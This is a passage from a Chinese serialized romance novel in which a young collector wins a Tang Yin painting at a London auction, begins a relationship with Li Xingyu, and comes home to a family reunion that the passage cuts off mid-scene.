太激烈了，加价幅度达到600万，是本次秋拍最高加价幅度。 同时，《松崖别业图》的叫价迈入5000万英镑这一大关，大维德已经有很多年没有拍出5000万的书画类拍品了。 祖母绿女士的阔绰引起了众人议论，谁都看得出，这位女士势在必得。 萧妧妧即将举起的手臂停在半空。 5300万镑，也就是5.1亿元，刚好超过她的预估。 她要举不.举的样子很快吸引了周围其他买家的关注，纷纷看过来，等着她做出反应。 萧妧妧牙都咬碎了，那可是5个亿啊。 或许是她考虑得太久，右前方穿定制西装的男人撇来轻蔑眼神，台上的拍卖师也不确定她什么意思，频频张望。 收回视线，深呼吸，萧妧妧缓慢举起手臂，“5500万。” 她的话音落下，自觉稳操胜券的祖母绿女士诧异挑眉，她侧了侧半边身子，寻找出价5500万的竞争者。 参与者需着正装礼服，因此座位安排得十分宽松讲究，也因此，头戴纱帽的优雅女士一回头，琥珀色眼眸睃巡半圈，萧妧妧敏锐察觉她的注视。 回以礼貌微笑，祖母绿美女转过头，萧妧妧笑容下一秒消失。 两人对视的工夫，另一人开价了，5600万镑。 萧妧妧举牌子的动作明显迟疑。 还没到她的底线，但场上情况不容乐观，怕不是要奔着6000万去了。 就在她犹豫的这两秒，祖母绿美女举牌了，眨眼工夫，当前价格刷新到5800万。 看来超过6000万镑是必然结果。 “不继续吗？眼下情况还算有希望。” 萧妧妧连着两轮没有举牌，别人会当她退出竞争，知道她此行目标的黎行聿只有疑惑。 萧妧妧当然想继续了，但希望没看到，只看到了一夜返贫的绝望。 “超出预算了。”她苦笑着回复。 说话的间隙，劳力士男人开价6300万，拍卖厅再次哗然。 6300万，不及5.9亿美元的《庐山观瀑图》，但也远远超过唐伯虎真迹的普遍行情。 尤其唐伯虎作品存在显著的价格分层现象，人物画价格一向高于山水画，而山水画均价到今天为止，鲜有超过千万镑（亿元）。 哪怕唐伯虎备受追捧，哪怕《松崖别业图》传承有序，名家题跋，6300万镑未免夸张，一旦成交，必定刷新拍卖记录。 拍卖师询问了一圈，久无人回应，木槌悬在半空。 萧妧妧的心也悬在半空。 唐伯虎真迹难得在市场上出现，说不想要绝对是她吃不到葡萄嘴巴酸。 可话又说回来，即便她如今的财务状况还不错，即便把这笔花费算进资产配置和财务规划的方案，一下子投出去6个亿，萧妧妧真舍不得。 和钱多钱少虽然有点关系，但没那么大。 萧妧妧眨巴眼睛，目光落在屏幕上展示的《松崖别业图》图像，晶亮的狐狸眼盛满遗憾、渴望与无力。 可恶，说好的大环境不好能捡漏呢？ 眼看拍卖师即将落槌，萧妧妧索性眼不见心不烦，偏头瞥开视线。 “也就是说，还是喜欢的吧？” 喜欢？当然喜欢，否则没必要坚持到现在。 公益捐赠的青铜器拿下了，备受关注的名家旧藏拿下了，三分之二的目标成功到手，缺一个唐伯虎的真迹固然遗憾，却不妨碍她整体计划。 “6500万。” 萧妧妧正忙着开解自己，手臂倏地一紧，温热触感带来力量，牵引着她举起号牌。 没等她做出反应，黎行聿扬声开价。 萧妧妧足足愣了三四秒，意识到什么情况时，猛地扭头瞪向他。 “抱歉，但我认为有自作主张的必要。” 黎行聿嘴里说着抱歉，深邃俊朗的侧脸一如往常淡定，看不出一点歉意。 “人生苦短，遇到喜欢的不该犹豫。” 他轻拍两下她的手背聊作安抚，目不斜视地盯着现场竞拍动态。 萧妧妧扯扯嘴角，人生苦短，但余额更短啊，有钞能力的资本家大概不会明白。 6500万英镑撒出去，她的现金存款可以说所剩无几。 不至于变得拮据，最多无法大手大脚，像前两天那样看到合适的油画就放肆买的情况，不会再发生，至少短期内不会。 她既希望6500万镑能够拿下唐伯虎，又期待其他竞争者跳出来，总之，矛盾得很。 黎行聿没听到她的回应，分出几分注意力，余光一瞥过去，萧妧妧皱巴的脸闯入视线。 蜜糖色泽的嘴唇紧抿，秀气眉毛蹙成一团，活像被强行撸肚皮的暴躁猫咪。 而她手里的号牌，早在她又拧又折又扣的摧残下，掉落零星几块碎屑。 “慌什么，”黎行聿轻笑，指尖在手机屏幕上滑动几下，递到她面前。 萧妧妧顺着亮光瞄过去，目光全被屏幕上显示的、那一串和她身份证号差不多长的数字吸引。 “什、什么意思？” 粗略数一下，她迟缓移开视线看他，话音罕见的磕巴起来。 “这是我的账户余额，不是摆设。”黎行聿偏转身子，与她平视：“6500万而已，你可以当成是……我给你准备的万圣节糖果。” 6500万，而已？ 谁家糖果敢卖6个亿？ 纤长睫毛在资本主义光芒照耀下，刷出蛊惑的阴影，心脏微颤的瞬间，腹诽戛然停止。 指尖蜷缩，萧妧妧没出息的红了脸，心跳声盖过木槌落下的声响。 “恭喜，50号买家成功拿下唐伯虎《松崖别业图》，成交价6500万镑！” 拍卖厅突然骚动，前后左右无数目光不约而同汇聚同一处，有微笑祝贺，有诧异审视。 不知道谁起的头，稀疏掌声突兀响起，带动了一片热烈掌声，回荡在巴洛克风格的复古空间。 萧妧妧从玄妙的情绪中抽离，环顾四周。 50号买家是她，审视的目光与祝贺的掌声也属于她。 嘈杂中，黎行聿微微俯身停在她耳畔，冷冽清爽的柑橘香调迅速占据她的嗅觉。 “恭喜你，得偿所愿。” 【作者有话说】 感谢读者“兮然”,灌溉营养液 +27 230-233 231 第231章 ◎万圣节的糖果◎ 热烈掌声中,萧妧妧机械起身，向对她发出祝贺的众位买家们欠身表示谢意。 乐队演奏浪漫乐曲，有人滑进舞池起舞庆祝，有人一耸肩膀,与同样空手而归的买家抒发挫败情绪。 萧妧妧呆坐片刻,恍若置身梦境。 “我买到唐伯虎了？！” 黎行聿递来一杯香槟塞进她手里,自顾自与她碰杯。 “后悔的话明天再说,先庆祝你买到唐伯虎。” 叮一声脆响，细长的高脚杯轻晃,淡金色液体荡出迷人波纹。 轻举酒杯，萧妧妧眯起狐狸眼,透过酒液观察扭曲、迷幻的金色梦境。 裙摆翻飞，芳香袭人,老钱笑声隐隐回响。 “我才不会后悔呢，”闪烁蜜糖般甜美色泽的唇牵起愉悦弧度,萧妧妧没喝一口酒水,已然有了沉醉的意思,“唐伯虎是我的啦。” 尾音上挑,区别于正常语调的得意、轻狂听起来意外可爱。 黎行聿笑着看她,不知不觉喝完整杯香槟。 萧妧妧不甘落后，比赛似的一口闷完，皱着脸品味片刻。 不太好喝，但没关系,她买到唐伯虎了！ 大维德秋拍完美收官，《松崖别业图》以6500万镑成交价,占据大维德秋拍成交总额的半壁江山,并刷新多项记录。 受邀前来的少数媒体人疯狂捕捉镜头,记录此刻的纸醉金迷。 不出意外，萧妧妧第二天睡醒，《松崖别业图》被私人藏家拍走的消息恐怕就要传遍古玩收藏圈。 而6500万镑，合计约6.3亿元的成交价，也将成为许多人津津乐道的话题。 萧妧妧的知名藏家养成计划，随之前进一大步。 太顺利了，顺利得她有点发飘。 萧妧妧恍恍惚惚退了竞拍号牌，除去提前缴的保证金，还需另外补5000万镑的尾款。 黎行聿掏卡的动作虽然帅气，但她还是拒绝了他的万圣节糖果。 “谢谢你的好意，不过，我更希望唐伯虎只属于我自己，而不是任何人给我的礼物。” 萧妧妧语气诚恳，目光直直望着他。 她很感谢黎行聿的帮助，可归属权不能含糊。 为男人花6.3个亿这种冒险且作死的行为，给萧妧妧八百辈子时间都做不出来。 由此对比，愿意花6个亿买“糖果”的黎行聿，在她看来有点傻气。 当然，或许是因为6个亿在他眼里和600元一样微不足道，但这份她永远也做不到的傻气实在可贵。 “我不希望大家提起知名藏家萧妧妧时，永远纠缠着第三个人。” 萧妧妧目光坚定而炽热，涌动着蓬勃的野心。 许多著名收藏家因收藏国宝级文物而名垂青史，比如张伯驹因藏有展子虔《游春图》、陆机《平复帖》被载入史册，再比如吴湖帆、庞元济…… 打从她买下《松崖别业图》开始，萧妧妧三个字便与唐伯虎这一文化符号绑定。 说她异想天开也好，痴人说梦也罢，萧妧妧想，她是不是也有在收藏领域青史留名的可能？ 当然，这是其中一点，另一点她不便说得太直白。 当初只是和黎行聿一起看展，初识的孟有树便对她生出许多猜测，如果事后让人知道，这件对藏家收藏生涯极具意义的唐伯虎真迹，背后有其他人的影子，尤其还是异性，萧妧妧闭着眼睛都能想到他们会说什么话。 到那时，萧妧妧再怎么疯狂砸钱，在这个对女性极为严苛的社会环境下，她永远摆不脱某些强加上去的标签。 她拼命打造的知名藏家身份，会在反复提及的绯闻里土崩瓦解。 萧妧妧十分克制，委婉表达了她的隐忧，黎行聿却立刻领会到她的未尽之意，失落情绪如晨雾，在阳光的照耀下悄然消散。 他接过她退回来的卡。 “我明白你的意思了，是我考虑不周。” 黎行聿没说抱歉两个字，萧妧妧从他的眼神里读出了歉意。 “当时只是……希望你得偿所愿。” 说到后半句，喉结不自然地滚动，话音像被风吹散似的渐渐含混，几不可闻。 颤动的睫毛随眼帘垂下，投出扇形阴影，遮掩住眼底的情绪。 她的渴望与遗憾尽收眼底，黎行聿没时间考虑太多，单纯而纯粹的想满足她。 萧妧妧凝视他片刻，目光飘移，落在后方的鎏金灯上。 他真是个好人啊。 外面下起淅淅沥沥的雨，寒风吹一阵歇一阵。 线条优雅的宾利停在门口，黎行聿绅士的为她拉开车门，瞬间，车上带着浅淡香味的暖气扑面而来。 萧妧妧突然改了主意，撤回迈上车的那只脚。 “我记得路，要不要一起走走？” 漆黑夜空不断坠下细密银线，毛茸茸的光晕照得脚下道路湿亮，散落在路面的大小镜面倒映出扭曲的万物。 街角的红色电话亭前蹲了一只洗脸的橘猫，旁边的咖啡店结束营业，挂上黄铜招牌的橱窗透出暖黄光线。 萧妧妧心血来潮向他发出邀请。 黎行聿歪头看向她，眉梢一挑，随即关上车门，撑起长柄伞走到她身侧，回应了她的邀约。 萧妧妧笑了笑，拢紧身上的皮草，与他一同走进雨幕。 他们转过街角，路过红色电话亭，惊走一只胖乎乎的橘猫，和乔治亚风格的咖啡店擦肩而过，步入满是南瓜灯的街区。 萧妧妧眺望清冷街区，两旁店铺堆了许多万圣节装饰。 不期然的，她又想起了黎行聿说的“糖果”。 雨势渐大，两人都没有逗留、躲避的意思，保持着相同节奏的步伐，缓缓向前。 宾利亮起车灯坠在后方，以更缓慢的速度陪伴。 又一阵夹着金黄落叶的潮湿冷风吹来，黎行聿脱下身上羊毛西装外套，萧妧妧制止了他。 “我现在热血沸腾，一点不觉得冷。” 沸腾到皮草覆盖的肌肤隐约有汗意，萧妧妧急需吹会冷风冷静下来。 黎行聿偏头观察，从拍卖厅出来后，她的脸一直红扑扑，嘴角挂着明显的笑意。 看得出来她此刻心情极好。 萧妧妧还在回味，回味木槌落下的瞬间，成功买下唐伯虎的瞬间。 对普通人而言，她只是花了六个亿，说不定还会为她可惜，甚至对她如何花钱指手画脚。 对玩古董收藏的人而言，买到唐伯虎真迹是件极具分量的重大事件。 其意义不仅在于一个藏品的购入，还在于提升收藏的完整性与标杆性，增加学术定位与历史厚度。 萧妧妧手里已经有文徵明、唐伯虎真迹，再来一个沈周，一个仇英，便可形成“吴门四家”的王炸组合。 这是一个完整的收藏脉络，从个体藏品晋级为艺术史脉络的体系化收藏。 举一个不恰当的例子，其含金量相当于拥有隐形斗篷的哈利波特又得到了老魔杖和复活石，小学生抽到全套小马宝莉卡牌。 吴门四家里唐伯虎真迹姑且可以说难度最大，不仅因为真迹罕见，还因为它太昂贵，大多数藏家一辈子说不定都接触不到一次。 萧妧妧拿下了难度最大的唐伯虎，仇英和沈周便不是问题。 真凑出这一副王炸牌，届时，学术价值、展览价值指数级增加，萧妧妧一个人就能办起一场博物馆级的特展。 更何况她还有齐白石、郑板桥、王阳明。 不要脸的说，等青铜器和汉锦展览过两轮捐赠出去，萧妧妧已经能摸到知名藏家的门槛。 再大言不惭一点，她已经可以称之为知名藏家了。 随着电影上映，她的藏品大曝光，萧妧妧想象不到那是怎样的状况，只能对自己说一句未来可期。 萧妧妧完全无法抑制内心的激动，也不想抑制，整个人飘飘然。 尽管冷风飕飕的吹，吹在她身上却是滚烫的，她浑身都在冒热汗。 漫步在河堤旁复古又清冷的街区，昏黄灯光照耀飘洒的雨幕，顶风行走的行人、奔跑讨要糖果的小孩，鬼气森森的节日装扮…… 这一切落在萧妧妧眼里，是恰如其分的浪漫。 穿过商业街区，进入相对热闹些许的住宅区，各种夸张、逼真的万圣节装扮看得人心里发毛。 两人像闯进了某个无限流副本。 冒雨奔跑讨要糖果的孩子们驻足观察他们，似乎没见过这么奇怪的外国人。 他们像是刚从某个宴会出来，打扮精致，穿着讲究，却违和的撑伞在雨中漫步。 萧妧妧远远注意到三四个打扮成女巫和幽灵的小萝卜头们，她们自以为隐蔽的偷窥。 经过女巫和幽灵们时，萧妧妧停下脚步，微微俯身。 “你们怎么知道我买到唐伯虎了？” 小萝卜头听不懂她的语言，茫然仰头望着她。 黎行聿无奈笑出声，拽着萧妧妧回到伞下。 萧妧妧瞄一眼他们兜里的糖果，不要脸地伸出手掌：“TrickorTreat！” 女巫和幽灵们都懵了，这应该是她们的台词吧。 扮做幽灵的小女孩傻乎乎抓了几颗巧克力，试探着走到伞下，放进萧妧妧手心，然后飞快回到萝卜堆里。 萧妧妧笑眯眯收下巧克力，真是个乖孩子。 扮做女巫的小姑娘决定礼尚往来，向前一步，伸出手心，眼巴巴望他们。 萧妧妧是个恶劣的大人，她先板起脸恶劣地逗她们，再当着小姑娘们的面双手背后，幼稚地藏起巧克力。 小姑娘们皱起脸。 黎行聿偏过头笑了一会，从自己口袋里抓出一把糖果，每一个萝卜头分一颗，不偏不倚。 “你什么时候准备的糖？”萧妧妧盯着他分糖的动作瞧。 “出门前路易莎塞给我的，还好留下了。” 女巫和幽灵们甜甜的说谢谢，欢快跑去邻居家敲门。 “伸手。” 小姑娘们跑远，黎行聿转过身面对着她。 萧妧妧下意识听从，伸出掌心。 下一秒，水果硬糖从黎行聿手里转移到她手心，粉紫色糖纸在路灯下折射出梦幻的色泽。 “给你留了最好吃的口味。”他笑着说：“这次是真正的万圣节糖果，不会再拒绝了吧？” 萧妧妧默了默：“……谢谢？” “不客气。” 短暂停留，两人继续迈步，目标是百米外挂着巨大南瓜灯的独栋住宅。 萧妧妧剥开其中一颗糖果塞进嘴里，确实挺好吃。 她不自觉落后半步，微微仰头，借着不甚明亮的路灯，眼神放肆地落在他侧脸上。 雨夜、路灯、撑起的伞、半明半暗的暧昧光影，本就出众的长相在氛围*感加持下，平添了几分蛊人的诱惑。 “为什么没有信心？” 距离住所越来越近，萧妧妧终于憋不住挑开了窗户纸。 黎行聿怔住，迷茫转身，“什么？” 萧妧妧直视他眼眸，以手语的方式重复那天他与路易莎的对话。 [抱歉路易莎，她现在还不是我的女朋友，拜托不要吓到她] [谢谢，我正在努力，但我没有信心] 萧妧妧放下双手，藏进披肩里，重复刚才的问题。 “所以，为什么没有信心？” 【作者有话说】 终于到这一步了，下一章在一起，感情线部分彻底结束[撒花] 剩下没写完的剧情很快也能结束，正文目测可以在90万字左右结束。 番外不确定具体字数，总之不会很少就是了，全部走剧情。 感谢读者迷梦的手榴弹+1 感谢读者“吃葡萄不吐葡萄皮”,灌溉营养液 +2 感谢读者“浮生若梦”,灌溉营养液 +10 232 第232章 ◎也恭喜你，得偿所愿◎ 萧妧妧冷不丁冒出一句没头没尾的话,老实说，黎行聿根本没反应过来。 等他看清萧妧妧流畅比划出两段手语，明白问题出处的那一刻，大脑“嗡”的一声一片空白,无措与慌乱骤然袭来,差点淹没了他。 萧妧妧的挑明猝不及防的发生了。 超出计划的状况扰乱了他的节奏,黎行聿面如火烧,浑身冒着热气。 然而一阵风吹来，理智艰难回归,黎行聿心头如坠铅块般，咚的一下沉入谷底,连带着呼吸凝滞了片刻。 “你都知道了？”他不自觉抿唇，嗓音发紧：“我以为会在一个适合的时机。我是说,表白这种事应该正式一点，至少不是……” 环顾周围,为万圣节营造出来的恐怖氛围实在称不上浪漫,忽急忽缓的雨水分外恼人,至少也不是这样一个糟糕的天气里。 他抱着破罐破摔的认命心态承认了,眼眸与头颅一并垂下,静静等待审判。 而做为一个恶劣的大人，萧妧妧嘴角噙着淡淡的笑意，舌尖在口腔里打转，戏弄着那颗最好吃的糖果。 她恶劣地欣赏着他的语无伦次,他的忐忑与懊恼。 认识他以来，疏离、冷淡、礼貌是黎行聿展现在人前的面具,极偶尔能称得上温和好相处。 他总是一副游刃有余的胜利者姿态,属于成熟男人的稳重与从容像脱不下的外壳,死死焊在他身上。 此时此刻，颤动的眼帘、泛红的面色、不复平常淡定的语调、近乎孤勇的坦白，还有极力掩藏的羞涩…… 他不经意间流露的无措与不安，是她得到的最好的答案。 萧妧妧鼓噪的心跳和汹涌的情绪瞬间得到抚慰，奇异的舒缓下来。 眼前的人给了她无法言喻的自信，换个恶劣一点的说法，是自信自己可以玩弄他于股掌之间。 她知道这种想法出现的不合时宜且不应该。 “我觉得这里就很适合，虽然不那么正式，但很有意思啊。”她含着糖果，口齿难免不够清晰：“怎么了，担心我拒绝你？” 黎行聿猛地抬头。 “你问我为什么没有信心，因为你沉迷于自己的事业，工作之余，你会陪爱你的家人，陪要好的朋友。 你会分出时间学习鉴定，学习投资，你说你还打算学习经营和理财。 你还会分出时间体验新鲜的事物，去享受生活，日出日落在你眼里是值得花时间奔赴驻足的景色。 因为你的世界已经足够丰富，我找不到理由也没有信心，能让你从中挤出一点时间分给我。” 他话音渐低，萧妧妧摸了摸心口，那里再次鼓噪起来。 “时间不是蛋糕，刚刚好分成一块一块，你也不是多选题的答案之一，选了你就要让出其他。 你可以陪我学习鉴定，我跟着你学习投资和经营，我们可以一起体验有意思的事物，一起享受生活。” 萧妧妧上前一步，双方距离被她强行拉近。 “现在，再给你最后一次机会，请组织语言重新说一遍。” 黎行聿想，应该是水果糖的原因吧，含混不清的明示听起来甜丝丝。 四目相接，她眼里涌动的鼓励几乎化作实质，倏然间，一股神秘的力量传达到他的四肢百骸。 “萧妧妧小姐，请问你是否同意我——黎行聿，加入你的丰富世界。” 黎行聿的语气前所未有的严肃与郑重。 萧妧妧满意地眯起狐狸眼，笑意弥漫之时，眼底闪烁狡黠光芒。 她反手握住他手腕一拽，在黎行聿没防备靠近的瞬间，她踮起脚轻轻环抱住他。 “也恭喜你，得偿所愿。” 萧妧妧还是那么恶劣，不给他反应的机会，提着裙摆溜走。 她踩下的水花绽放在他心里。 躲回房间，萧妧妧踢了高跟鞋扑到沙发上蛄蛹。 蛆一般蠕动半天，她摸了摸心口，还在奋力跳动。 事情发生时她没什么感觉，怎么过后反而激动起来。 萧妧妧强迫自己冷静，掏出手机分享消息。 她只想着分散一下情绪和注意力，没指望能得到回复，意外的，孟甜甜秒回。 萧妧妧瞄一眼时间，不确定她是起得太早还是熬了一个通宵。 孟甜甜一个视频通话打过来，吓得她手抖，接通之后，对面穿着睡衣的女人抱着一盆瓜子。 算了，萧妧妧已经不在意了，在孟甜甜再三的逼问下，老实坦白。 “咚咚咚” 然而刚起了个头，房门被敲响。 握上门锁的瞬间，她突然想到什么，狂奔回洗手间整理发型检查妆容，又狂奔到门边，若无其事的打开门。 是黎行聿，面色依然泛着薄红。 他动作僵硬地摸向口袋，伸出手。 “你的耳坠。” 珍珠耳坠和宝石的搭配份量不轻，散步到一半，萧妧妧嫌它坠得耳朵疼，摘了塞进黎行聿口袋暂放。 萧妧妧恍然，接过东西。 然后就陷入了微妙的、氛围黏稠的沉默。 萧妧妧不想陪他一起做煮熟的虾子，两人红着脸面对面好奇怪。 她嘟哝一声晚安，飞快缩回去。 黎行聿动作更快，挡住即将闭合的门板。 萧妧妧抬头，这才注意到他欲言又止又欲言的状态。 “所以……我们现在……是在一起了吧？” 萧妧妧莞尔，她以为她给出的回应很明确了。 “你没听错，恭喜黎行聿先生成功以男朋友身份加入我的世界。”她顿了顿，“虽然男朋友先生没有说TrickorTreat，但我还是给你留了一颗糖果。” 薄荷糖塞进他西装上位于左胸的插袋，萧妧妧轻拍两下，翩然转身，关上房门。 黎行聿什么反应她不知道，萧妧妧只知道自己挺装的，明明心脏都快跳出嗓子眼了。 理所当然，萧妧妧这一晚没睡踏实，第二天也没能顺利早起。 好在不止她一个人如此。 慢吞吞来到餐厅，黎行聿正准备吃早午饭，见她来了，连她的份一起准备。 萧妧妧上下打量他一眼：“你要出门？” 黎行聿定定望着她，“不，今天没有其他安排。” 萧妧妧没能领会他的意思，哦了一声坐下。 她的反应稍显冷淡，黎行聿又不确定起来。 “昨晚你说的话，还作数吧？” 萧妧妧茫然眨眼，“什么话？我昨天喝完香槟脑袋发晕，大概是醉了吧，记不清了，我说过什么吗？” 黎行聿僵立原地，神情空白。 “噗呲” 随着一声喷笑，萧妧妧眼睛弯成月牙，黎行聿后知后觉她是故意的，双手叉腰，满脸无奈。 萧妧妧见好就收，推开椅子向他跑去，环抱住他，语调轻软。 “对不起，都怪你穿得太严肃了。” 像爪贱的小猫总想打碎杯子，面对严肃正经装扮的他，萧妧妧也会产生破坏欲。 黎行聿回抱住她，顺势低头看一眼自己的打扮。 造型师连夜搭配的约会穿搭，天一亮就送到房间，他还记得造型师信誓旦旦的赞扬语气，什么突显身材什么彰显个人品味。 “香水也换了吗？好像是皮革味？我喜欢昨天的柑橘香。”萧妧妧后撤半步，闲聊似的发表意见。 黎行聿罕见流露出一丝窘迫的情绪。 皇室调香师的私人定制香调，调香师也信誓旦旦的说过皮革香气极具辨识度，适配秋冬季，在约会中适当增加存在感。 全部适得其反。 趁着用餐工夫，黎行聿回到楼上换了一身居家的休闲装，整齐发型变得随性，身上只有沐浴露的香气。 萧妧妧挑挑眉，没说什么。 十一月的第一天，雨势丝毫没见减小的架势，气温同步降低，客厅的壁炉派上了用场。 萧妧妧无需参加拍卖，手里余额又不够她放肆，说什么不肯出门。 路易莎中途出现了片刻，看到他们在家，又嚷嚷着不舒服回去休息。 萧妧妧神情微窘，只当没发现路易莎打趣的眼神。 两人肩碰肩，脑袋挨着脑袋窝在沙发里，黎行聿戴耳机与代理人保持通话，膝上的笔记本同步拍卖厅实时画面。 萧妧妧轻松多了，和柳如烟联机打游戏，等她发现自己连柳如烟一个古代人都玩不过时，马上抛弃游戏开始刷手机。 不出预料，国内多家互联网媒体报道了《松崖别业图》被拍走的消息，6亿元的成交价惹来许多争议。 当然，这些争议里没见多少人说“不值得”的，少部分道德绑架的留言在预料之中。 大维德一向注重买卖双方的隐私，并未透露更多买家消息，大众只知道是一位姓萧的私人藏家买走，《松崖别业图》回国了。 唐伯虎真迹下次露面，应该会在某个展览上，届时圈内人便都能知道它落入谁手。 两人在沙发上消磨了大半天时间，他处理工作邮件，偶尔关注拍卖进度，她刷着手机玩得畅快，偶尔分享搞笑视频。 他看上的拍品不出二十分钟拿下，之后再没有安排，萧妧妧理直气壮地拉着他一起学习。 学着学着，萧妧妧陡然发觉，黎行聿既然找了代理人，其实根本不需要特意跑一趟伦敦。 平平淡淡的一天顺利度过，萧妧妧想，从朋友转变成情侣关系，还挺流畅，似乎没多少区别。 黎行聿反驳了她：“沉睡的小五郎和清醒的小五郎，怎么会没有区别？” 好吧，萧妧妧承认，不能说完全没有，至少社交距离彻底被淘汰。 原定的返程计划被两人默契的向后挪了几天，趁着天气晴好，萧妧妧不去管什么攻略什么生意，踏踏实实完成一次正经的约会。 她陪他漫步校园，了解他无趣的校园生活。 他陪她游泰晤士河，拍下和塔桥的完美氛围感照片。 他们在游轮上享用丰盛但不合胃口的晚餐，然后被璀璨的夜空天际线惊艳到忘记吐槽。 她陪他参观艺术画廊，在卓纳的库房里为选草间弥生还是卡罗尔波夫而纠结。 他陪她打卡考文特花园的ClosMaggiore，这次，她终于吃了个半饱。 他们一起参观博物馆和美术馆，在她做出拍照拍视频宛如踩点一般的举动，发出“想偷”“好想偷”一系列炸裂的犯罪预告般的发言后，及时捂住她的嘴拖走，避免两人被安保当成雌雄双盗。 在伦敦的最后一个夜晚，他们参与了泰晤士河畔的荧光跑，然后被各种新鲜事物吸引，不知道怎么就迷失在小巷里。 嗯，罪魁祸首是她。 最终，她以宛如死狗一般的狼狈形态仓促结束活动。 萧妧妧合理怀疑，黎行聿扛起她的瞬间，肯定有把她当成大王。 “我想大王了。”萧妧妧歪着脑袋抵在他肩窝，小声嘟哝。 黎行聿收紧胳膊防止她摔下去，抽空回应她的自言自语：“我会转告它。” 233 第233章 ◎认亲◎ 11月的南市同样冷风飕飕。 望着熟悉的都市街景,萧妧妧有种恍如隔世的错觉。 推迟行程的这几天里，孟甜甜、柳如烟以及苏娇娇轮流打电话，名为关心实则催促。 萧妧妧一下飞机，孟甜甜的电话踩着点追过来。 真看不出来,原来大家这么想她。 萧妧妧安排刚上任的男朋友在车上等她,自己拎了一箱土特产回一趟小卖部。 几场秋雨过后,小院的绿植开始飘黄,稍显萧瑟。 除此之外，一如既往的整洁,她离开的这半个月好像没发生过。 “甜甜，我给你们带礼物啦。” 进了门,她大吼一声，话没落音,爱丽丝、苏娇娇、孟甜甜三人从不同方向奔来。 萧妧妧听她们七嘴八舌地追着问了一堆问题，都不知道回答哪一个,索性先分礼物。 孟甜甜的护肤品,爱丽丝的零食,苏娇娇的香水,以及给她们每人都准备的首饰。 苏娇娇的要多一样,她从博物馆亲自录下来的进货清单。 北宋汝窑、万历青花、《女史箴图》、青铜双羊尊…… “对了，帮我注意一下仇英和沈周的作品，我要凑一套，如果有文徵明的立轴或者手卷就更好了。” 苏娇娇接到任务,头皮发麻。 这是她能轻易弄来的东西吗？ “对了甜甜，下半个月上新的首饰你来挑,回头我再处理一下价格。 可以多挑点,连着两场拍卖大出血,我的钱包急需补血。” 孟甜甜傻眼，怎么她也有任务做啊。 “咦？爱丽丝……”视线捕捉到准备退出群聊的爱丽丝，萧妧妧一把薅过来，假装没看见她的皱巴脸：“你的任务可不轻松哦，这几天有人送货上门，你不需要做什么，站在门口监工即可。” 三人高高兴兴凑过来，不仅接到了礼物，还有一堆任务。 倒反天罡！竟然使唤起顾客，其中一个甚至未成年。 “资本家都没你会压榨。”孟甜甜吐槽归吐槽，却没有拒绝。 苏娇娇：“那你呢？又要出差？” 话落，另外两人一并转头看她。 萧妧妧打了个呵欠：“当然是回家睡觉，我可是半个月没睡过一个整觉。” 日夜颠倒生活了半个月，萧妧妧累得不行，上飞机前就嚷嚷着要回家睡到天昏地暗。 三人体贴表示可以理解，放心睡。 孟甜甜突然说道：“对了，我忘记跟你说，明月昨晚送来四个大箱子，让你回来点点。还 有那位龙太子，鼻孔看人的那个男的，他也送来六个箱子，还有好些原石，说是让你先销账。” 萧妧妧一听，豪掷6个亿带来的伤痛不药而愈。 十个箱子加上原石，一时半会肯定看不完，萧妧妧把它们留着等睡醒后再拆。 匆匆交待几句，丢下行李箱，萧妧妧回到车上，从另一条巷子绕回家门口。 越靠近家，萧妧妧越是困顿，脑袋一点一点。 黎行聿不放心，一手拎上行李，一手揽住她送进院子。 两人说着话推开门，冷不防见到客厅坐了一圈的人，话音戛然而止。 “我真的不是困到已经睡过去了？” 萧妧妧僵在门口，仗着衣服的遮掩，她悄悄掐了一把男朋友的胳膊，听他的吸气声。 “不是做梦，你爸妈、我爸妈，还有……” 黎行聿将目光落在独身前来的萧阿姨身上，以及三方面前的桌上，那里堆放了一摞现金。 气氛沉闷的客厅里，神情怅然略显呆滞的是张芸和萧大明，带着期盼与激动端详的是萧雁如，做为牵线搭桥的叶赛宁与黎岸，两人面色倒正常。 眼前什么状况，他心里了然。 萧妧妧扯了扯嘴角，当了一个多月的缩头乌龟，终于来到这一天。 她揉了揉太阳穴，好疼。 “妧妧回来了？你不是说过几天吗？先进来再说。旁边这是……” 张芸反应最快，连忙出面把人领进来。 平时说惯了的话，如今当着妧妧亲妈的面，倒显得她名不正言不顺，语气变得干巴巴。 她多瞄一眼黎行聿，暗暗审视，又盯着两人挽在一起的手臂，猜测两人的关系。 萧妧妧没空解释，两人的关系不是重点。 黎行聿轻声说：“去吧，正好说清楚，省得你烦恼，我在外面等你。” 他顺势推了她一把。 萧妧妧垂着嘴角斜瞥他，“我们才刚开始交往，这就要大难临头各自飞了吗？” 黎行聿强忍笑意，示意她去看一屋子期待的目光。 萧妧妧环顾一圈，深呼吸，硬着头皮进屋。 曾经远远见过一眼的萧雁如在她迈进门的瞬间，搓着双手局促起身，眼里闪烁泪光，硬挤出温柔慈爱的笑容。 黎行聿见状出声叫走叶赛宁和黎岸，借口是现成的。 “路易莎回来了，她在医院检查，你们要去看看她吗？” 叶赛宁迟疑，看是肯定要看看路易莎的，但现在…… 黎行聿朝他们点点头，夫妻俩意会，便以看望亲戚的理由顺势离开。 黎行聿跟着退到院子里，为他们一家人留出足够的空间。 叶赛宁有好多话，频频回头望去，最后拉住大儿子，压低嗓门打听。 “你们都那样了，是在一起了吧？什么时候的事？你不是说早着呢吗？” 最开始是小儿子几次明目张胆的揶揄让他们察觉出不对劲，大儿子也并没有藏着掖着的意思，坦荡承认。 叶赛宁见他每天不慌不忙的老实工作，按部就班生活，都不知道约人家出去约会，心里干着急。 把他问烦了，他只说心里有数，时机不对，总之敷衍得很。 至于什么时机合适，他又不肯说。 结果倒好，出了一趟国，回来手都牵上了。 不巧的是萧雁如那里刚解决完麻烦事，马不停蹄要认回孩子，两件事撞到一起，叶赛宁差点不知道顾哪一个。 黎行聿暂时没心思满足父母的好奇，坚持送他们上车，目的地是南市的医院，之后折返回萧家等在院子里。 一边是养父母，一边是亲妈，萧妧妧自进屋后就不知道该说些什么，保持静默。 张芸的局促不比萧雁如的少，四人坐在屋子里大眼瞪小眼。 事发突然，显然，大家都没做好心理准备，不知道从何说起。 僵持下去不是事，萧大明长叹气，主动担起责任，转身回屋取来半个巴掌大的平安锁。 他的话音缓慢而低沉，从二十年前的某个夜晚说起。 “当时我和你妈去你小姑家喝喜酒，回来的时候路过城郊的玉米地，现在改成小公园了。 